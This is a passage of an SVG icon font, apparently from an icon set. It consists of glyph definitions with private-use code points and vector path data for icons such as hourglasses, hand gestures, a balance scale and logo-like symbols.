<glyph unicode="&#xf24b;" horiz-adv-x="2304" d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5 t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88 t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90 t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf24c;" horiz-adv-x="2304" d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294 t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf24d;" horiz-adv-x="1792" d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113 zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf24e;" horiz-adv-x="2304" d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64 q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91 t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5 t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
<glyph unicode="&#xf250;" d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9 t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5 t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
<glyph unicode="&#xf251;" d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9 t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
<glyph unicode="&#xf252;" d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9 t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
<glyph unicode="&#xf253;" d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9 t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196 h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
<glyph unicode="&#xf254;" d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87 t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9 h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
<glyph unicode="&#xf255;" d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25 q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27 t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21 q72 69 174 69z" />
<glyph unicode="&#xf256;" horiz-adv-x="1792" d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33 t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52 h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
<glyph unicode="&#xf257;" horiz-adv-x="1792" d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668 q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17 t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5 t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5 q0 -42 -23 -78t-61 -53l-310 -141h91z" />
<glyph unicode="&#xf258;" horiz-adv-x="2048" d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32 q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68 q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
<glyph unicode="&#xf259;" horiz-adv-x="2048" d="M816 1408q-48 0 -79.5 -34t-31.5 -82q0 -14 3 -28l150 -624h-26l-116 482q-9 38 -39.5 62t-69.5 24q-47 0 -79 -34t-32 -81q0 -11 4 -29q3 -13 39 -161t68 -282t32 -138v-227l-307 230q-34 26 -77 26q-52 0 -89.5 -36.5t-37.5 -88.5q0 -67 56 -110l507 -379 q34 -26 76 -26h694q33 0 59 20.5t34 52.5l100 401q8 30 10 88t9 86l116 478q3 12 3 26q0 46 -33 79t-80 33q-38 0 -69 -25.5t-40 -62.5l-99 -408h-26l132 547q3 14 3 28q0 47 -32 80t-80 33q-38 0 -68.5 -24t-39.5 -62l-145 -602h-127l-164 682q-9 38 -39.5 62t-68.5 24z M1461 -256h-694q-85 0 -153 51l-507 380q-50 38 -78.5 94t-28.5 118q0 105 75 179t180 74q25 0 49.5 -5.5t41.5 -11t41 -20.5t35 -23t38.5 -29.5t37.5 -28.5l-123 512q-7 35 -7 59q0 93 60 162t152 79q14 87 80.5 144.5t155.5 57.5q83 0 148 -51.5t85 -132.5l103 -428 l83 348q20 81 85 132.5t148 51.5q87 0 152.5 -54t82.5 -139q93 -10 155 -78t62 -161q0 -30 -7 -57l-116 -477q-5 -22 -5 -67q0 -51 -13 -108l-101 -401q-19 -75 -79.5 -122.5t-137.5 -47.5z" />
<glyph unicode="&#xf25a;" horiz-adv-x="1792" d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5 q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5 v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32 v-384h32z" />
<glyph unicode="&#xf25b;" d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181 v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46 q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5 q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308 q0 -53 37.5 -90.5t90.5 -37.5h668z" />
<glyph unicode="&#xf25c;" horiz-adv-x="1973" d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5 t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141 q13 0 22 -8.5t10 -20.5z" />
<glyph unicode="&#xf25d;" horiz-adv-x="1792" d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109 t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640 q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf25e;" horiz-adv-x="1792" d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13t-23.5 -14.5t-28.5 -13.5t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78 q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13t-23.5 -14.5t-28.5 -13.5t-33.5 -9.5 t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376 q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191 t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
<glyph unicode="&#xf260;" horiz-adv-x="2048" d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
<glyph unicode="&#xf261;" horiz-adv-x="1792" d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191 t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf262;" horiz-adv-x="2304" d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57 t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197 t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5 t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5 t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5 q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
<glyph unicode="&#xf263;" horiz-adv-x="1280" d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5 t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94 q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
<glyph unicode="&#xf264;" d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32 q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5 zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf265;" horiz-adv-x="1720" d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33 l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
<glyph unicode="&#xf266;" horiz-adv-x="2304" d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540 q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81 l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
<glyph unicode="&#xf267;" horiz-adv-x="1792" d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640 q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5 t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5 t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5 t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191 t191 -286t71 -348z" />
<glyph unicode="&#xf268;" horiz-adv-x="1792" d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962 q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
